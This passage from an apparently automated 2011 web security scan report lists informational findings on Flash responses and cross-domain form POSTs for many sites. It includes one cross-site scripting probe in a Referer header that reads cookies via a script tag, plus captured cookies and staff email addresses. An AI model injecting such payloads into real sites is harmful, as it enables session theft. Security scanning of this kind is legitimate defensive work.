gth_seconds": 102, "allow_embed": 1, "enablejsapi": "0", "sk": "m0oFtGf7AUnmTyf7ptE1Hl3s86_YNbYNC", "allow_ratings": 1, "rel": "1", "jsapicallback": "yt.embed.onPlayerReady", "autoplay": "0", "eurl": "", "use_native_controls": false}, "url_v9as2": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf", "params": {"allowscriptaccess": "always", "allowfullscreen": "true", "bgcolor": "#000000"}, "attrs": {"width": "100%", "id": "video-player", "height": "100%"}, "url_v8": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf"},
'ORIGIN': "*"
});
yt.setMsg({
'FLASH_UPGRADE': '\n\n\n\n <div class=\"yt-alert yt-alert-error yt-alert-player yt-rounded\">\n <img src=\"\/\/s.ytimg.com\/yt\/img\/pixel-vfl3z5WfW.gif\" class=\"icon master-sprite\" alt=\"Alert icon\">\n\n <div class=\"yt-alert-content\">\n You need to upgrade your Adobe Flash Player to watch this video. <br> <a href=\"http:\/\/get.adobe.com\/flashplayer\/\">Download it from Adobe.<\/a>\n\n <\/div>\n\n <\/div>\n'
});

yt.embed.writeEmbed();
</script>

</body>
</html>

18.11. http://www.youtube.com/v/VUCJyeb_3Mo previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.youtube.com
Path:	/v/VUCJyeb_3Mo

Request 1

GET /v/VUCJyeb_3Mo?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/manuals-online?4a4b1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E18871e2d338=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; GEO=c0f1d1d2c857cb01c350c8b8c68c361ecwsAAAAzVVOtwdbzTU3HFg==

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:22 GMT
Server: Apache
X-Content-Type-Options: nosniff
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1167
Content-Type: application/x-shockwave-flash

CWS.....x.}V[s.F.>.a..$.u....M.6\...Lsq...    ..83y..i...I.V`~A..Gf....>.o.gwe IS<..s..M...=.H..p'....O.O..........1.a.@.....^.....-.:.>...Q.{...6.....o....W..Z.~..6........`.T.)../.V..|.*....1..p..6.?.0....<
.us..........uM.E.    ru.F..z..../(../.&.C.fc.zF`...J.Edf...&.Am...P.
.......X.k..v...b.;.y.]:.74Dj... .v'u
g.4b..u.[.........F%.s...]4<....g...{p.._...>;*.........y...$.....?..hd.1F. .....K:...p..B......XN.    .{.C].d.........G[.jh..gx7....m....eh..Sr.5
.....n.l....#..U.....<4.8Q.W.l.F.....    .Vo...p...P.|.*...<..x...?...F>..I]p<..:..K..1.9..lT........uI..mW.<...sev..&4}.u.:fx......PG.............`.=.t.].l....A.r8".........#...6..9K... ...dC..>....>&@].\.tAL
.e...s.a.A.|...B......m....?sL....:d.....;..DV..u...5<.....UPAW.H$2.H^..'`i.d.kI.~].x?...GJx.k..+.q....](...B.r..I..,.{.J...\.....@.,
...,.s....1be.N....q
.$..SR..L|H. ..:.~3.z,.k.*B.*.\....Hz+s2M.V...T`R.U.Z..8.O8_L.a.WS0.........6.....=Kf...gdo......RUd... ...N.k........kiIs.5.),..rN(...H.\...~.v.......H..A.....1......mA`.4|.\.x.-........(}l....
.:...V9a........o.RNF.....}w.2u...... ....-.p....TUt.7...PQ.r...e..{..w..|.....Q?.5......(^.b..f.}../].`...<..
?I>.G!#}....sC.(.l....;.=............

Request 2

GET /v/VUCJyeb_3Mo?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; GEO=c0f1d1d2c857cb01c350c8b8c68c361ecwsAAAAzVVOtwdbzTU3HFg==

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:46 GMT
Server: Apache
X-Content-Type-Options: nosniff
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1092
Content-Type: application/x-shockwave-flash

CWS.....x.}U.r.F......P7.-vp.4.?.u..L....K&`....J#....I..l....%3.h..Wy...{vW6.i
3.{~.;..].a..............)`r.p....p.>(.......~...J#.....t.:.v=(.....=.x.U...d.`.....8.!M.......*.-...-.T....*.-./.>"....$~.p.{.x:.....G..'..m...|...Pw.!g......D[@.l...R5..oE6%...X&e.....,..fj .*.1..O..u... .].......uJ.y..%KS.{@|...S<..1/.....n.?.y.}.Q...}r.._..r....v.....qo'..[.x.......y......(pW..V.Q%&.M ..O.L..uT......h....Bc...v...gq.....M\...27..H}.Dg...c{....|.2.l....N.sCt..1...A...`.2i.Z=#_..v.*!...D.......]..............E....f...z".v.....c.|8,.Q0...p.~T. ..)....,....qsV.L.......r..`.F.....;;.A.Ghy-Q......!..%.]*..x....7. |..D.D..|6...?.BH.....w/.F.oD..D..Sk...)!}N.*..M....t.M..|...)#...~.Sk.....Rh9.VF.|I.IS.j.[L-.1... tk.1...$-.r\i..y.X...Lq-?..H..1..w...".H@.)....C....I....G..? ....... ..Q.U.tej.......h......L...R/..m..p....,.....)n..b..EV]V.......g..ZV.~....ZV."tMy.H-....s.g........v]lkHP......|.u..!...cQ....b...\....A..n...gQ..l...5.."..F.d..?Q3..E.'..:b......C...b4......8T.h2 .....f...k.BMO.Cv...} .i.f.._..^.j..j..7.|..C(......>.*..I..V...U.7J..8.l..d....;.\>....<...LKa.i.?-)..

18.12. http://www.youtube.com/v/vu-10mHqFko previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.youtube.com
Path:	/v/vu-10mHqFko

Request 1

GET /v/vu-10mHqFko?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:31:35 GMT
Server: Apache
X-Content-Type-Options: nosniff
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1052
Content-Type: application/x-shockwave-flash

CWS.^...x.}UYs.G..X....M..%H.b;..".+F.+>dt.*.Q`..O.....^...?..I.T.!.-y.."=..p.g)f....{zv...@.o.n.G.@...o1`..0..N..&3.1J.-6...|..\....^!W.W....>    4=...@n.k...........@G...75b_..H..........wY`]f....t....n.m.-..,..O.....r...e...X.(.nf.-.-!zV........'.^.si....y...&....L..-...!.4.w..->..~k. ....,....m..N.e....B.........pr.    ?m...q......../..p.P[n.-..T..Qy...2..?,.B...5Z+.z.h^.m.f..a.V.xMK......w...m.k.6........a..=.,....\.fpv..|x..,&5S......i..nPPj.......-J.e.a.l.Y.R..    Qr..2..F..l..jZ.a...ra.....]W.#......fY..1d.L...V.YQ.,B..x.....1.....rM68oA6......Z....<.$...M6.....Vc..x..m.C...H'.*.+..XZ..t1/.uZ~....T...21.T...h.bX.FT.R|t....~.K...D[..B'M..... ...GJ.jE..    .
..3.bY.K.W".uH.e.Y..U.....j....s    q#=J@...<c.....,$K....o..O..5..4)Fra(..#%..:.m..$..P...j....%I~".b.FE......S......?...#z.O......\...U...........pB_/%e..0.|]JF.p].,..2.\....7..VL.M.vC..dR.....K.n..w.d.(...QK2.M.ke......bUS...b..]..(4..K.ymI/.....Z.....#Ff....;%..,V....$.y..E. .1.]UEWE.oD;T.Xt..<I.......4|g..k...a.......Q^.r~...&..EX."..WSx$F.?Fr..!g...%..Y..X|H..
.....<    Kn.9.?...&

Request 2

GET /v/vu-10mHqFko?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:31:53 GMT
Server: Apache
X-Content-Type-Options: nosniff
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1012
Content-Type: application/x-shockwave-flash

CWS.$...x.}U[s.F.........Q.b.n.t.i...3m......3.d&O.@+P.[$A..4O~d...o.S..=...4M.pt...svWc.<...wS8..z~K......l.;]f.......l............j.J.J.\!{..y..T..xO..%.O\{ .........h...;.HA.#... ......W.D../.<.4.J...J.y....+.....vT|..)V.F....e..p$.B.C..}..o.y.p).$*..k....>...q....E..5.../....D......y>1.........U;...W.Z.......&.f..Y4....A...4....ga.....M.6.....^..#.u....m...y..gpt....F..|..    ...c..&...b.2.........v..R....^..o.<.....8b.K........{..H.l..=....F!L......`.r8.....Fl....    ....V.\.yGK.}...A..>..8.'..5...........F.p.%...G.o.R    ...a...f..'...1......)..4.R...R..Oo...Fs1.!C..$..XH_.iHam.q....M....I/..2".J...i
..*O)..qulT..x.4.......mp...qt..1...&,..n4..*A,..B..Q.f..I.X...b.C.B$.....B.I.X.,    .Z...<.@R[..b...d...y..........l...~;.....S./..v.....>..6.B...\.9..EVY.N..@rFL8.n....9$./..X.............~.;..x...e.xYE....U.........[Vl...r.....2....@7.........m..?$:.<J]D..(...p.#.:i.|...j..oN.&.r.~+....O..H"    UL.PYRe>...
%9.o.{.j.:"..6......Z....@4....Q\....C.%.Y.s....nix..*~..hO..9(Lst...0..    ..u..G...'.R.}...L4y.

19. Cross-domain POST previous next
There are 30 instances of this issue:

http://gsgd.co.uk/sandbox/jquery/easing/
http://info.riministreet.com/50percentsavings.html
http://personalsavings.americanexpress.com/
http://personalsavings.americanexpress.com/cd-product.html
http://personalsavings.americanexpress.com/faq.html
http://personalsavings.americanexpress.com/open-account.html
http://personalsavings.americanexpress.com/product-comparison.html
http://personalsavings.americanexpress.com/savings-product.html
http://rydex-sgi.com/equalweight/
http://shop.vodafone.de/scripts/vodafone.global.js
http://www.bargainforce.com/
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
http://www.baselinemag.com/googlecse.html
http://www.beckerortho.com/
https://www.box.net/
http://www.cssplay.co.uk/menus/final_drop.html
http://www.eweek.com/c/s/Videos/
http://www.fbi.gov/about-us/investigate/cyber/cyber
http://www.fbi.gov/nipc/welcome.htm
http://www.hyves.nl/
https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html
http://www.kledy.de/impressum.php
http://www.linkfixerplus.com/
http://www.melsungen-online.de/Shopping/gutschein_gratisartikel.php
http://www.mittelstandsblog.de/
http://www.mittelstandsblog.de/
http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/
http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/
http://www.retailmenot.com/
http://www.stunnel.org/

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

19.1. http://gsgd.co.uk/sandbox/jquery/easing/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://gsgd.co.uk
Path:	/sandbox/jquery/easing/

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
buyer_credit_promo_code
buyer_credit_product_category
buyer_credit_shipping_method
buyer_credit_user_address_change
no_shipping
return
cancel_return
cn
currency_code
tax
lc
bn
submit

Request

GET /sandbox/jquery/easing/ HTTP/1.1
Host: gsgd.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.2. http://info.riministreet.com/50percentsavings.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://info.riministreet.com
Path:	/50percentsavings.html

Issue detail

The page contains a form which POSTs data to the domain app-c.marketo.com. The form contains the following fields:

Company
FirstName
LastName
Title
Email
Phone
PeopleSoft__c_contact
JD_Edwards__c
Siebel__c_contact
SAP__c_contact
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Nearest_Renewal_Timing__c
Marketo_Lead_Source__c
Marketo_Lead_Source_Det__c
submitButton
_marketo_comments
lpId
subId
kw
cr
searchstr
lpurl
formid
returnURL
retURL
_mkt_disp
_mkt_trk

Request

GET /50percentsavings.html HTTP/1.1
Host: info.riministreet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Set-Cookie: ARPT=LKZYVMSCw1CYWY; path=/
Date: Sun, 06 Feb 2011 16:01:21 GMT
Server: Apache
Content-Length: 15956
Vary: *,Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-200000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" l
...[SNIP]...
</script>
<form class="lpeRegForm formNotEmpty" method="post" enctype="application/x-www-form-urlencoded" action="http://app-c.marketo.com/index.php/leadCapture/save" id="mktForm_3" name="mktForm_3"><ul class='mktLblLeft'>
...[SNIP]...

19.3. http://personalsavings.americanexpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain onlineapps.ibanking-services.com. The form contains the following fields:

id
Task

Request

GET / HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:00 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
                <form method="post" action="https://onlineapps.ibanking-services.com/olnas/OLNASServlet/StappsApp" id="confirm-sdd">
                           <input class="hidden-input" type="hidden" name="id" value="330124085066" />
...[SNIP]...

19.4. http://personalsavings.americanexpress.com/cd-product.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/cd-product.html

Issue detail

The page contains a form which POSTs data to the domain onlineapps.ibanking-services.com. The form contains the following fields:

id
Task

Request

GET /cd-product.html HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:07 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
                <form method="post" action="https://onlineapps.ibanking-services.com/olnas/OLNASServlet/StappsApp" id="confirm-sdd">
                       <input class="hidden-input" type="hidden" name="id" value="330124085066" />
...[SNIP]...

19.5. http://personalsavings.americanexpress.com/faq.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/faq.html

Issue detail

The page contains a form which POSTs data to the domain onlineapps.ibanking-services.com. The form contains the following fields:

id
Task

Request

GET /faq.html HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:12 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
                <form method="post" action="https://onlineapps.ibanking-services.com/olnas/OLNASServlet/StappsApp" id="confirm-sdd">
                       <input class="hidden-input" type="hidden" name="id" value="330124085066" />
...[SNIP]...

19.6. http://personalsavings.americanexpress.com/open-account.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/open-account.html

Issue detail

The page contains a form which POSTs data to the domain onlineapps.ibanking-services.com. The form contains the following fields:

id
Task

Request

GET /open-account.html HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

19.7. http://personalsavings.americanexpress.com/product-comparison.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/product-comparison.html

Issue detail

The page contains a form which POSTs data to the domain onlineapps.ibanking-services.com. The form contains the following fields:

id
Task

Request

GET /product-comparison.html HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

19.8. http://personalsavings.americanexpress.com/savings-product.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/savings-product.html

Issue detail

The page contains a form which POSTs data to the domain onlineapps.ibanking-services.com. The form contains the following fields:

id
Task

Request

GET /savings-product.html HTTP/1.1
Host: personalsavings.americanexpress.com
Proxy-Connection: keep-alive
Referer: http://s0.2mdn.net/2179194/1-HYSA_RateV2_468x60_30k.swf
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SaneID=173.193.214.243-1296742163652146; s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:43 GMT
Content-type: text/html
Content-Length: 37495

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
                <form method="post" action="https://onlineapps.ibanking-services.com/olnas/OLNASServlet/StappsApp" id="confirm-sdd">
                           <input class="hidden-input" type="hidden" name="id" value="330124085066" />
...[SNIP]...

19.9. http://rydex-sgi.com/equalweight/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rydex-sgi.com
Path:	/equalweight/

Issue detail

The page contains a form which POSTs data to the domain www.rydex-sgi-fp.com. The form contains the following fields:

mailTo
mailFrom
emailSuject
redirectURL
FPType
FP_url
FPType
None_FP_url
01_Name
02_FirmName
03_Email
04_Phone
05_Address
06_City
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
07_State
08_Zip
09_contact
09_contact
09_contact

Request

GET /equalweight/ HTTP/1.1
Host: rydex-sgi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:05:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 28958
ETag: "782bfaae9a5cb1:a86"
Last-Modified: Mon, 27 Dec 2010 17:15:30 GMT
Content-Type: text/html

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<td width="47%" align="left" valign="top" style="padding-bottom:20px"><form id="form1" name="form1" method="post" action="http://www.rydex-sgi-fp.com/admin/email.cfm">
<input name="mailTo" type="hidden" value="thayward@sg-investors.com;lwang@sg-investors.com;csebastian@sg-investors.com;amorales@sg-investors.com;dkahler@sg-investors.com;spearce@rydexin
...[SNIP]...

19.10. http://shop.vodafone.de/scripts/vodafone.global.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shop.vodafone.de
Path:	/scripts/vodafone.global.js

Issue detail

The page contains a form which POSTs data to the domain www.vodafone.de. The form contains the following fields:

name
info
password
url
login.x
login.y

Request

GET /scripts/vodafone.global.js HTTP/1.1
Host: shop.vodafone.de
Proxy-Connection: keep-alive
Referer: http://shop.vodafone.de/micropages/cookie-setting-page.htm?B_ID=667&S_ID=770&I_BOOL=1&tsID=za1049301
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:05:27 GMT
Server: Apache
Last-Modified: Tue, 01 Feb 2011 10:24:23 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Content-Type: application/x-javascript
Content-Length: 75841

/*// CONTENT CLASS: JS Vodafone Global All - (vodafone.global.js)// PAGENAME: JS Vodafone Global All (vodafone.global.js)// PAGEID: 167035// FILENAME: vodafone.global.js// PATH: /scripts/vodafone.glob
...[SNIP]...
<div id="loginBox" class="account-dropdown" style="display:none;left:265px;margin-left:0px">'+ '<form action="https://www.vodafone.de/ussa/login" id="loginForm" name="loginForm" method="post" autocomplete="off">'
+ '<div class="dropdown-wrapper" >
...[SNIP]...

19.11. http://www.bargainforce.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bargainforce.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain retailmenot.us1.list-manage.com. The form contains the following fields:

EMAIL
MMERGE1
MMERGE2
subscribe

Request

GET / HTTP/1.1
Host: www.bargainforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:38:34 GMT
Server: Apache/2.0.52 (CentOS)
Last-Modified: Sun, 03 Oct 2010 21:09:38 GMT
ETag: "38901e6-2408-d870e880"
Accept-Ranges: bytes
Content-Length: 9224
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<hea
...[SNIP]...
<div id="mc_embed_signup" style="width:400px;margin-left: auto;margin-right:auto;">
<form action="http://retailmenot.us1.list-manage.com/subscribe/post?u=906594042ce8669084b92c572&id=4280642385" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" style="font: normal 100% Arial, sans-serif;font-size: 10px;">
<fieldset style="-moz-border-radius: 4px;border-radius: 4px;-webkit-border-radius: 4px;border: 1px solid #ccc;padding-top: 1.5em;margin: .5em 0;background-color: #fff;color: #000;text-align: left;">
...[SNIP]...

19.12. http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/

Issue detail

The page contains a form which POSTs data to the domain www.omeda.com. The form contains the following fields:

FNAME
LNAME
TITLE
COMPANY
ADDRESS2
CITY
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
ZIPCODE
imageField2

Request

Response

19.13. http://www.baselinemag.com/googlecse.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/googlecse.html

Issue detail

The page contains a form which POSTs data to the domain www.omeda.com. The form contains the following fields:

FNAME
LNAME
TITLE
COMPANY
ADDRESS2
CITY
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
ZIPCODE
imageField2

Request

Response

19.14. http://www.beckerortho.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain internetmailmanager.com. The form contains the following fields:

a
cid
rg
cname
cmail
returnurl
Email
FirstName
LastName
Company
Title
Address1
Address2
City
State
PostalCode
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
Country
EmailType
EmailType
